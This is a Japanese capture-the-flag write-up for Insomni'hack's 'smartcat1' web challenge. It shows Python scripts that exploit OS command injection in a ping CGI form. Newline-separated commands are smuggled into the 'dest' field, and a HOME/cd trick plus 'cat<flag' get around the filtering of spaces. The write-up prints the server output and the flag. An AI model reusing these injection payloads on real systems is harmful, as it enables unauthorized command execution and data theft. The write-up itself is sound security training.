smartcat1 - Web - 50 pts - realized by grimmlin

Damn it, that stupid smart cat litter is broken again
Now only the debug interface is available here and this stupid thing only permits one ping to be sent!
I know my contract number is stored somewhere on that interface but I can't find it and this is the only available page! Please have a look and get this info for me !
FYI No need to bruteforce anything there. If you do you'll be banned permanently
Ping destinationにIPアドレスを入力してEnterすると、PINGコマンドの実行結果が出力されます。OSコマンドインジェクションの脆弱性をつく問題だと思われます。
no title

改行コードで区切ってpwdコマンド、lsコマンドを送り込んでみます。次のPythonプログラムでCGIプログラムに接続します。
import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)
プログラムを実行すると、レスポンスのHTML中に以下の出力を得ることができました。cgiプログラムのカレントディレクトリが/var/www/cgi-bin、そのディレクトリにindex.cgiファイルとthereフォルダが存在することが分かります。
  <pre>/var/www/cgi-bin
index.cgi
there
</pre>
スペースや$などの文字はサニタイジングしているようで使えませんので、環境変数のHOMEにパスを設定してcdコマンドでディレクトリを移動します。これを繰り返すと、最後にflagファイルが見つかります。スペースが使えないので、catコマンドに入力リダイレクトでflagファイルを読み込ませます。
import requests
from lxml import html
cookies={}

session_headers = {}

http_session = requests.Session()
http_session.headers.update(session_headers)

data = {'dest':'127.0.0.1>/dev/null\npwd\nls\nHOME=/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please/tell/me/seriously/though/here/is/the\ncd\npwd\nls\ncat<flag'}
resp = http_session.post("http://smartcat.insomnihack.ch/cgi-bin/index.cgi", data=data, cookies=cookies)

print(resp.text)
実行すると、次の出力を得ることができました。
  <pre>/var/www/cgi-bin
index.cgi
there
/var/www/cgi-bin/there/is/your/flag/or/maybe/not/what/do/you/think/really/please
/tell/me/seriously/though/here/is/the
flag
INS{warm_kitty_smelly_kitty_flush_flush_flush}
</pre>
フラグは、
INS{warm_kitty_smelly_kitty_flush_flush_flush}
です。